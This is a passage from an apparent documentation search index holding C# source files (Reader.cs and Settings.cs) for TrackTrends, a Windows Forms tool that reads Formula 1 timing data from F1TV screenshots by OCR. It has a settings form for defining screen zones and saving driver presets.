nameEl . GetProperty ( \"y\" ). GetInt32 (), nameEl . GetProperty ( \"width\" ). GetInt32 (), nameEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Sector1 JsonElement sec1El = windowElement . GetProperty ( \"Sector1\" ); DriverSectorWindow sec1Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec1El . GetProperty ( \"x\" ). GetInt32 (), sec1El . GetProperty ( \"y\" ). GetInt32 (), sec1El . GetProperty ( \"width\" ). GetInt32 (), sec1El . GetProperty ( \"height\" ). GetInt32 ()), 1 , LoadOCR ); //Sector2 JsonElement sec2El = windowElement . GetProperty ( \"Sector2\" ); DriverSectorWindow sec2Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec2El . GetProperty ( \"x\" ). GetInt32 (), sec2El . GetProperty ( \"y\" ). GetInt32 (), sec2El . GetProperty ( \"width\" ). GetInt32 (), sec2El . GetProperty ( \"height\" ). GetInt32 ()), 2 , LoadOCR ); //Sector3 JsonElement sec3El = windowElement . GetProperty ( \"Sector3\" ); DriverSectorWindow sec3Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec3El . GetProperty ( \"x\" ). GetInt32 (), sec3El . GetProperty ( \"y\" ). GetInt32 (), sec3El . GetProperty ( \"width\" ). GetInt32 (), sec3El . GetProperty ( \"height\" ). GetInt32 ()), 3 , LoadOCR ); driverZone . AddWindow ( positionWindow ); driverZone . AddWindow ( gapWindow ); driverZone . AddWindow ( lapWindow ); driverZone . AddWindow ( drsWindow ); driverZone . AddWindow ( tyreWindow ); driverZone . AddWindow ( nameWindow ); driverZone . AddWindow ( sec1Window ); driverZone . AddWindow ( sec2Window ); driverZone . AddWindow ( sec3Window ); } mainZone . AddZone ( driverZone ); } JsonElement driversElement = main . GetProperty ( \"Drivers\" ); foreach ( JsonElement driverElement in driversElement . EnumerateArray ()) { string driverName = driverElement . GetString (); driverListToFill . Add ( driverName ); Storage . AddDriver ( driverName ); } mainZones . Add ( mainZone ); } catch ( IOException ex ) { MessageBox . Show ( \"Error reading JSON file: \" + ex . Message ); } catch ( JsonException ex ) { MessageBox . Show ( \"Invalid JSON format: \" + ex . Message ); } int driverID = 0 ; foreach ( Zone z in mainZones [ 0 ]. Zones ) { driverID ++; z . ZoneImage . Save ( \"LoadedDriver\" + driverID + \".png\" ); } return mainZones ; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public List < DriverData > Decode ( List < Zone > mainZones , List < string > drivers ) { List < DriverData > mainResults = new List < DriverData >(); //Decode for ( int mainZoneId = 0 ; mainZoneId < mainZones . Count ; mainZoneId ++) { switch ( mainZoneId ) { case 0 : //object lockObject = new object(); //Main Zone Parallel . For ( 0 , mainZones [ mainZoneId ]. Zones . Count , async i => //for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++) { DriverData data = mainZones [ mainZoneId ]. Zones [ i ]. Decode ( new List < string >( drivers )); mainResults . Add ( data ); DriverDataLogs [ i ]. Add ( data ); if ( data . Position != - 1 && DriverDataLogs [ i ]. Count > 1 ) { //Tries to fix the tyres if ( data . CurrentTyre . NumberOfLaps > DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 3 ) data . CurrentTyre . NumberOfLaps = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 1 ; //Checking if its a new lap //If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started //Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing. if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { DriverData stats = new DriverData (); stats = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]; DriverLaps [ i ]++; Storage . AddDriverStat ( stats , DriverLaps [ i ]); } //Checking if its a pitstop //Forget this the best way to know if a tyre has been changed is if the number of laps is zero if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { Storage . AddPitstop ( data . Name , DriverLaps [ i ] - 1 , data . CurrentTyre . Coumpound . ToString ()); //Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop } } DriverDataLogs [ i ]. Add ( data ); }); break ; //Next there could be a Title Zone and TrackInfoZone } } //mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList(); mainResults = mainResults . OrderBy ( driver => driver . Position ). ToList (); return mainResults ; } /// /// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows /// /// The new Image from the F1TV data channel public void ChangeImage ( Bitmap Image ) { foreach ( Zone z in MainZones ) { z . Image = Image ; } } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime ( int amountOfMs ) { //Convert.ToInt32 would round upand I dont want that int minuts = ( int )(( float ) amountOfMs / ( 1000f * 60f )); int seconds = ( int )(( amountOfMs - ( minuts * 60f * 1000f )) / 1000 ); int ms = amountOfMs - (( minuts * 60 * 1000 ) + ( seconds * 1000 )); return minuts + \":\" + seconds . ToString ( \"00\" ) + \":\" + ms . ToString ( \"000\" ); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw ( Bitmap image , List < Zone > mainZones ) { Graphics g = Graphics . FromImage ( image ); foreach ( Zone z in mainZones ) { int count = 0 ; foreach ( Zone zz in z . Zones ) { g . DrawRectangle ( Pens . Red , z . Bounds ); foreach ( Window w in zz . Windows ) { g . DrawRectangle ( Pens . Blue , new Rectangle ( z . Bounds . X + zz . Bounds . X , z . Bounds . Y + zz . Bounds . Y , zz . Bounds . Width , zz . Bounds . Height )); } count ++; } } return image ; } } }","title":"Reader.cs"},{"location":"Code/Settings.html","text":"Settings.cs using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; using TrackTrends ; namespace TrackTrends { public partial class Settings : Form { private string _grandPrixUrl = \"\" ; private string _selectedConfigFile ; private List < string > _driverList = new List < string >(); private F1TVEmulator Emulator = null ; private ConfigurationTool Config = null ; private bool CreatingZone = false ; private Point ZoneP1 ; private Point ZoneP2 ; private bool CreatingWindow = false ; private Point WindowP1 ; private Point WindowP2 ; List < Rectangle > WindowsToAdd = new List < Rectangle >(); public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public List < string > DriverList { get => _driverList ; private set => _driverList = value ; } public string SelectedConfigFile { get => _selectedConfigFile ; private set => _selectedConfigFile = value ; } //For the responsive content Size oldSize = new Size (); Size oldGpbxPreviewSize = new Size (); Size oldGpbxWindowPreviewSize = new Size (); Size oldPbxPreviewSize = new Size (); Size oldPbxWindowPreviewSize = new Size (); public Settings () { InitializeComponent (); Load (); } private void Load () { RefreshUI (); oldSize = this . Size ; oldGpbxPreviewSize = gpbxPreview . Size ; oldGpbxWindowPreviewSize = gpbxWindowPreview . Size ; oldPbxPreviewSize = pbxPreview . Size ; oldPbxWindowPreviewSize = pbxWindowPreview . Size ; tip1 . SetToolTip ( btnCreatZone , \"After clicking you can select two points in the image to set the bounds of the important data\" ); tip1 . SetToolTip ( btnCreateWindow , \"After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos\" ); tip1 . SetToolTip ( btnRefresh , \"Starts the emulator or refreshes the images if its already running\" ); tip1 . SetToolTip ( btnResetDriver , \"Resets the driver if something went wrong or if you want to test an other URL\" ); tip1 . SetToolTip ( lsbDrivers , \"The drivers that are on the image. Non-Case sensitive\" ); tip1 . SetToolTip ( tbxPresetName , \"The name of the preset you want to save\" ); tip1 . SetToolTip ( pbxPreview , \"What the emulator returns\" ); tip1 . SetToolTip ( pbxWindowPreview , \"One of the driver zones that the program managed to slice from the main zone\" ); } private void RefreshUI () { lsbDrivers . DataSource = null ; lsbDrivers . DataSource = DriverList ; if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } if ( CreatingZone ) { if ( ZoneP1 == new Point (- 1 , - 1 )) { lblZonePointsRemaning . Text = \"2 points Remaining\" ; } else { lblZonePointsRemaning . Text = \"1 point Remaining\" ; } } else { lblZonePointsRemaning . Text = \"\" ; } if ( CreatingWindow ) { if ( WindowP1 == new Point (- 1 , - 1 )) { lblWindowPointsRemaining . Text = \"2 points Remaining\" ; } else { lblWindowPointsRemaining . Text = \"1 point Remaining\" ; } lblWindowPointsRemaining . Text = ConfigurationTool . NUMBER_OF_ZONES - WindowsToAdd . Count () + \" Windows remaining\" ; } else { lblWindowPointsRemaining . Text = \"\" ; lblWindowsRemaining . Text = \"\" ; } if ( Config != null ) { pbxPreview . Image = Config . MainZone . Draw (); if ( Config . MainZone . Zones . Count > 0 ) pbxWindowPreview . Image = Config . MainZone . Zones [ 0 ]. Draw (); } } private void CreateNewZone ( Point p1 , Point p2 ) { Rectangle dimensions = CreateAbsoluteRectangle ( p1 , p2 ); Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , dimensions ); RefreshUI (); } private void CreateWindows ( List < Rectangle > dimensions ) { if ( Config != null ) { Config . AddWindows ( dimensions ); } } private void tbxGpUrl_TextChanged ( object sender , EventArgs e ) { GrandPrixUrl = tbxGpUrl . Text ; } private void btnAddDriver_Click ( object sender , EventArgs e ) { string newDriver = tbxDriverName . Text ; DriverList . Add ( newDriver ); tbxDriverName . Text = \"\" ; RefreshUI (); } private void btnRemoveDriver_Click ( object sender , EventArgs e ) { if ( lsbDrivers . SelectedIndex >= 0 ) { DriverList . RemoveAt ( lsbDrivers . SelectedIndex ); } RefreshUI (); } private void SwitchZoneCreation () { if ( CreatingZone ) { CreatingZone = false ; lblZonePointsRemaning . Text = \"\" ; } else { CreatingZone = true ; if ( Config != null ) Config . ResetMainZone (); if ( CreatingWindow ) SwitchWindowCreation (); if ( Emulator != null && Emulator . Ready ) { Config = null ; pbxPreview . Image = Emulator . Screenshot (); } ZoneP1 = new Point (- 1 , - 1 ); ZoneP2 = new Point (- 1 , - 1 ); lblZonePointsRemaning . Text = \"2 Points left\" ; } RefreshUI (); } private void SwitchWindowCreation () { if ( CreatingWindow ) { CreatingWindow = false ; } else { CreatingWindow = true ; if ( Config != null ) Config . ResetWindows (); if ( CreatingZone ) SwitchZoneCreation (); WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); WindowsToAdd = new List < Rectangle >(); } RefreshUI (); } private void btnCreatZone_Click ( object sender , EventArgs e ) { SwitchZoneCreation (); } private void btnCreateWindow_Click ( object sender , EventArgs e ) { SwitchWindowCreation (); } private void pbxMain_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingZone && pbxPreview . Image != null ) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e . Location ; float xOffset = ( float ) pbxPreview . Image . Width / ( float ) pbxPreview . Width ; float yOffset = ( float ) pbxPreview . Image . Height / ( float ) pbxPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if ( ZoneP1 == new Point (- 1 , - 1 )) { ZoneP1 = newPoint ; } else { ZoneP2 = newPoint ; CreateNewZone ( ZoneP1 , ZoneP2 ); SwitchZoneCreation (); } RefreshUI (); } } private void pbxMain_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingWindow && pbxWindowPreview . Image != null ) { Point coordinates = e . Location ; float xOffset = ( float ) pbxWindowPreview . Image . Width / ( float ) pbxWindowPreview . Width ; float yOffset = ( float ) pbxWindowPreview . Image . Height / ( float ) pbxWindowPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); if ( WindowP1 == new Point (- 1 , - 1 )) { WindowP1 = newPoint ; } else { WindowP2 = newPoint ; WindowsToAdd . Add ( CreateAbsoluteRectangle ( WindowP1 , WindowP2 )); if ( WindowsToAdd . Count < ConfigurationTool . NUMBER_OF_ZONES ) { WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); } else { WindowP1 = new Point ( WindowP1 . X , 0 ); WindowP2 = new Point ( WindowP2 . X , pbxWindowPreview . Image . Height ); CreateWindows ( WindowsToAdd ); SwitchWindowCreation (); } } RefreshUI (); } } private void pbxDriverZone_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle ( Point p1 , Point p2 ) { Point newP1 = new Point (); Point newP2 = new Point (); if ( p1 . X < p2 . X ) { newP1 . X = p1 . X ; newP2 . X = p2 . X ; } else { newP1 . X = p2 . X ; newP2 . X = p1 . X ; } if ( p1 . Y < p2 . Y ) { newP1 . Y = p1 . Y ; newP2 . Y = p2 . Y ; } else { newP1 . Y = p2 . Y ; newP2 . Y = p1 . Y ; } return new Rectangle ( newP1 . X , newP1 . Y , newP2 . X - newP1 . X , newP2 . Y - newP1 . Y ); } private async void btnRefresh_Click ( object sender , EventArgs e ) { btnRefresh . Enabled = false ; btnCreatZone . Enabled = false ; btnCreateWindow . Enabled = false ; btnResetDriver . Enabled = false ; if ( Emulator == null || Emulator . GrandPrixUrl != tbxGpUrl . Text ) { Emulator = new F1TVEmulator ( tbxGpUrl . Text ); } if (! Emulator . Ready ) { Task < int > start = Task . Run (() => Emulator . Start ()); int errorCode = await start ; if ( errorCode != 0 ) { string message ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); } else { pbxPreview . Image = Emulator . Screenshot (); } } else { pbxPreview . Image = Emulator . Screenshot (); } btnRefresh . Enabled = true ; btnCreatZone . Enabled = true ; btnCreateWindow . Enabled = true ; btnResetDriver . Enabled = true ; btnRefresh . Text = \"Get a newer image\" ; } private void Settings_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } Emulator = null ; GC . Collect (); } private void btnResetDriver_Click ( object sender , EventArgs e ) { if ( Emulator != null ) { Emulator . ResetDriver (); } } private void btnSavePreset_Click ( object sender , EventArgs e ) { string presetName = tbxPresetName . Text ; if ( Config != null ) { Config . SaveToJson ( DriverList , presetName ); } RefreshUI (); } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { SelectedConfigFile = ( string ) lsbPresets . Items [ lsbPresets . SelectedIndex ]; } private void btnLoadPreset_Click ( object sender , EventArgs e ) { //MessageBox.Show(lsbPresets.SelectedIndex.ToString()); if ( lsbPresets . SelectedIndex >= 0 && pbxPreview . Image != null ) { try { string fileName = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); Reader reader = new Reader ( fileName , ( Bitmap ) pbxPreview . Image , false ); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , reader . MainZones [ 0 ]. Bounds ); Config . MainZone = reader . MainZones [ 0 ]; DriverList = reader . Drivers ; SelectedConfigFile = fileName ; } catch ( Exception ex ) { MessageBox . Show ( \"Could not load the settings error :\" + ex ); } RefreshUI (); } } private void Settings_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; gpbxPreview . Size = new Size ( oldGpbxPreviewSize . Width + xDiff , oldGpbxPreviewSize . Height + yDiff ); gpbxWindowPreview . Size = new Size ( oldGpbxWindowPreviewSize . Width + xDiff , oldGpbxWindowPreviewSize . Height ); pbxPreview . Size = new Size ( oldPbxPreviewSize . Width + xDiff , oldPbxPreviewSize . Height + yDiff ); pbxWindowPreview . Size = new Size ( oldPbxWindowPreviewSize . Width + xDiff , oldPbxWindowPreviewSize . Height ); } private void btnDeletePreset_Click ( object sender , EventArgs e ) { int selectedIndex = lsbPresets . SelectedIndex ; if ( selectedIndex >= 0 ) { string fileName = lsbPresets . Items [ selectedIndex ]. ToString (); if ( File . Exists ( fileName )) { File . Delete ( fileName ); RefreshUI (); } else { MessageBox . Show ( \"Could not delete the preset because it does not exists\" ); } } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } } }","title":"Settings.cs"},{"location":"Code/Settings.html#settingscs","text":"using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; using TrackTrends ; namespace TrackTrends { public partial class Settings : Form { private string _grandPrixUrl = \"\" ; private string _selectedConfigFile ; private List < string > _driverList = new List < string >(); private F1TVEmulator Emulator = null ; private ConfigurationTool Config = null ; private bool CreatingZone = false ; private Point ZoneP1 ; private Point ZoneP2 ; private bool CreatingWindow = false ; private Point WindowP1 ; private Point WindowP2 ; List < Rectangle > WindowsToAdd = new List < Rectangle >(); public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public List < string > DriverList { get => _driverList ; private set => _driverList = value ; } public string SelectedConfigFile { get => _selectedConfigFile ; private set => _selectedConfigFile = value ; } //For the responsive content Size oldSize = new Size (); Size oldGpbxPreviewSize = new Size (); Size oldGpbxWindowPreviewSize = new Size (); Size oldPbxPreviewSize = new Size (); Size oldPbxWindowPreviewSize = new Size (); public Settings () { InitializeComponent (); Load (); } private void Load () { RefreshUI (); oldSize = this . Size ; oldGpbxPreviewSize = gpbxPreview . Size ; oldGpbxWindowPreviewSize = gpbxWindowPreview . Size ; oldPbxPreviewSize = pbxPreview . Size ; oldPbxWindowPreviewSize = pbxWindowPreview . Size ; tip1 . SetToolTip ( btnCreatZone , \"After clicking you can select two points in the image to set the bounds of the important data\" ); tip1 . SetToolTip ( btnCreateWindow , \"After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos\" ); tip1 . SetToolTip ( btnRefresh , \"Starts the emulator or refreshes the images if its already running\" ); tip1 . SetToolTip ( btnResetDriver , \"Resets the driver if something went wrong or if you want to test an other URL\" ); tip1 . SetToolTip ( lsbDrivers , \"The drivers that are on the image. Non-Case sensitive\" ); tip1 . SetToolTip ( tbxPresetName , \"The name of the preset you want to save\" ); tip1 . SetToolTip ( pbxPreview , \"What the emulator returns\" ); tip1 . SetToolTip ( pbxWindowPreview , \"One of the driver zones that the program managed to slice from the main zone\" ); } private void RefreshUI () { lsbDrivers . DataSource = null ; lsbDrivers . DataSource = DriverList ; if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } if ( CreatingZone ) { if ( ZoneP1 == new Point (- 1 , - 1 )) { lblZonePointsRemaning . Text = \"2 points Remaining\" ; } else { lblZonePointsRemaning . Text = \"1 point Remaining\" ; } } else { lblZonePointsRemaning . Text = \"\" ; } if ( CreatingWindow ) { if ( WindowP1 == new Point (- 1 , - 1 )) { lblWindowPointsRemaining . Text = \"2 points Remaining\" ; } else { lblWindowPointsRemaining . Text = \"1 point Remaining\" ; } lblWindowPointsRemaining . Text = ConfigurationTool . NUMBER_OF_ZONES - WindowsToAdd . Count () + \" Windows remaining\" ; } else { lblWindowPointsRemaining . Text = \"\" ; lblWindowsRemaining . Text = \"\" ; } if ( Config != null ) { pbxPreview . Image = Config . MainZone . Draw (); if ( Config . MainZone . Zones . Count > 0 ) pbxWindowPreview . Image = Config . MainZone . Zones [ 0 ]. Draw (); } } private void CreateNewZone ( Point p1 , Point p2 ) { Rectangle dimensions = CreateAbsoluteRectangle ( p1 , p2 ); Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , dimensions ); RefreshUI (); } private void CreateWindows ( List < Rectangle > dimensions ) { if ( Config != null ) { Config . AddWindows ( dimensions ); } } private void tbxGpUrl_TextChanged ( object sender , EventArgs e ) { GrandPrixUrl = tbxGpUrl . Text ; } private void btnAddDriver_Click ( object sender , EventArgs e ) { string newDriver = tbxDriverName . Text ; DriverList . Add ( newDriver ); tbxDriverName . Text = \"\" ; RefreshUI (); } private void btnRemoveDriver_Click ( object sender , EventArgs e ) { if ( lsbDrivers . SelectedIndex >= 0 ) { DriverList . RemoveAt ( lsbDrivers . SelectedIndex ); } RefreshUI (); } private void SwitchZoneCreation () { if ( CreatingZone ) { CreatingZone = false ; lblZonePointsRemaning . Text = \"\" ; } else { CreatingZone = true ; if ( Config != null ) Config . ResetMainZone (); if ( CreatingWindow ) SwitchWindowCreation (); if ( Emulator != null && Emulator . Ready ) { Config = null ; pbxPreview . Image = Emulator . Screenshot (); } ZoneP1 = new Point (- 1 , - 1 ); ZoneP2 = new Point (- 1 , - 1 ); lblZonePointsRemaning . Text = \"2 Points left\" ; } RefreshUI (); } private void SwitchWindowCreation () { if ( CreatingWindow ) { CreatingWindow = false ; } else { CreatingWindow = true ; if ( Config != null ) Config . ResetWindows (); if ( CreatingZone ) SwitchZoneCreation (); WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); WindowsToAdd = new List < Rectangle >(); } RefreshUI (); } private void btnCreatZone_Click ( object sender , EventArgs e ) { SwitchZoneCreation (); } private void btnCreateWindow_Click ( object sender , EventArgs e ) { SwitchWindowCreation (); } private void pbxMain_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingZone && pbxPreview . Image != null ) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e . Location ; float xOffset = ( float ) pbxPreview . Image . Width / ( float ) pbxPreview . Width ; float yOffset = ( float ) pbxPreview . Image . Height / ( float ) pbxPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if ( ZoneP1 == new Point (- 1 , - 1 )) { ZoneP1 = newPoint ; } else { ZoneP2 = newPoint ; CreateNewZone ( ZoneP1 , ZoneP2 ); SwitchZoneCreation (); } RefreshUI (); } } private void pbxMain_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingWindow && pbxWindowPreview . Image != null ) { Point coordinates = e . Location ; float xOffset = ( float ) pbxWindowPreview . Image . Width / ( float ) pbxWindowPreview . Width ; float yOffset = ( float ) pbxWindowPreview . Image . Height / ( float ) pbxWindowPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); if ( WindowP1 == new Point (- 1 , - 1 )) { WindowP1 = newPoint ; } else { WindowP2 = newPoint ; WindowsToAdd . Add ( CreateAbsoluteRectangle ( WindowP1 , WindowP2 )); if ( WindowsToAdd . Count < ConfigurationTool . NUMBER_OF_ZONES ) { WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); } else { WindowP1 = new Point ( WindowP1 . X , 0 ); WindowP2 = new Point ( WindowP2 . X , pbxWindowPreview . Image . Height ); CreateWindows ( WindowsToAdd ); SwitchWindowCreation (); } } RefreshUI (); } } private void pbxDriverZone_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle ( Point p1 , Point p2 ) { Point newP1 = new Point (); Point newP2 = new Point (); if ( p1 . X < p2 . X ) { newP1 . X = p1 . X ; newP2 . X = p2 . X ; } else { newP1 . X = p2 . X ; newP2 . X = p1 . X ; } if ( p1 . Y < p2 . Y ) { newP1 . Y = p1 . Y ; newP2 . Y = p2 . Y ; } else { newP1 . Y = p2 . Y ; newP2 . Y = p1 . Y ; } return new Rectangle ( newP1 . X , newP1 . Y , newP2 . X - newP1 . X , newP2 . Y - newP1 . Y ); } private async void btnRefresh_Click ( object sender , EventArgs e ) { btnRefresh . Enabled = false ; btnCreatZone . Enabled = false ; btnCreateWindow . Enabled = false ; btnResetDriver . Enabled = false ; if ( Emulator == null || Emulator . GrandPrixUrl != tbxGpUrl . Text ) { Emulator = new F1TVEmulator ( tbxGpUrl . Text ); } if (! Emulator . Ready ) { Task < int > start = Task . Run (() => Emulator . Start ()); int errorCode = await start ; if ( errorCode != 0 ) { string message ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); } else { pbxPreview . Image = Emulator . Screenshot (); } } else { pbxPreview . Image = Emulator . Screenshot (); } btnRefresh . Enabled = true ; btnCreatZone . Enabled = true ; btnCreateWindow . Enabled = true ; btnResetDriver . Enabled = true ; btnRefresh . Text = \"Get a newer image\" ; } private void Settings_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } Emulator = null ; GC . Collect (); } private void btnResetDriver_Click ( object sender , EventArgs e ) { if ( Emulator != null ) { Emulator . ResetDriver (); } } private void btnSavePreset_Click ( object sender , EventArgs e ) { string presetName = tbxPresetName . Text ; if ( Config != null ) { Config . SaveToJson ( DriverList , presetName ); } RefreshUI (); } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { SelectedConfigFile = ( string ) lsbPresets . Items [ lsbPresets . SelectedIndex ]; } private void btnLoadPreset_Click ( object sender , EventArgs e ) { //MessageBox.Show(lsbPresets.SelectedIndex.ToString()); if ( lsbPresets . SelectedIndex >= 0 && pbxPreview . Image != null ) { try { string fileName = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); Reader reader = new Reader ( fileName , ( Bitmap ) pbxPreview . Image , false ); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , reader . MainZones [ 0 ]. Bounds ); Config . MainZone = reader . MainZones [ 0 ]; DriverList = reader . Drivers ; SelectedConfigFile = fileName ; } catch ( Exception ex ) { MessageBox . Show ( \"Could not load the settings error :\" + ex ); } RefreshUI (); } } private void Settings_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; gpbxPreview . Size = new Size ( oldGpbxPreviewSize . Width + xDiff , oldGpbxPreviewSize . Height + yDiff ); gpbxWindowPreview . Size = new Size ( oldGpbxWindowPreviewSize . Width + xDiff , oldGpbxWindowPreviewSize . Height ); pbxPreview . Size = new Size ( oldPbxPreviewSize . Width + xDiff , oldPbxPreviewSize . Height + yDiff ); pbxWindowPreview . Size = new Size ( oldPbxWindowPreviewSize . Width + xDiff , oldPbxWindowPreviewSize . Height ); } private void btnDeletePreset_Click ( object sender , EventArgs e ) { int selectedIndex = lsbPresets . SelectedIndex ; if ( selectedIndex >= 0 ) { string fileName = lsbPresets . Items [ selectedIndex ]. ToString (); if ( File . Exists ( fileName )) { File . Delete ( fileName ); RefreshUI (); } else { MessageBox . Show ( \"Could not delete the preset because it does not 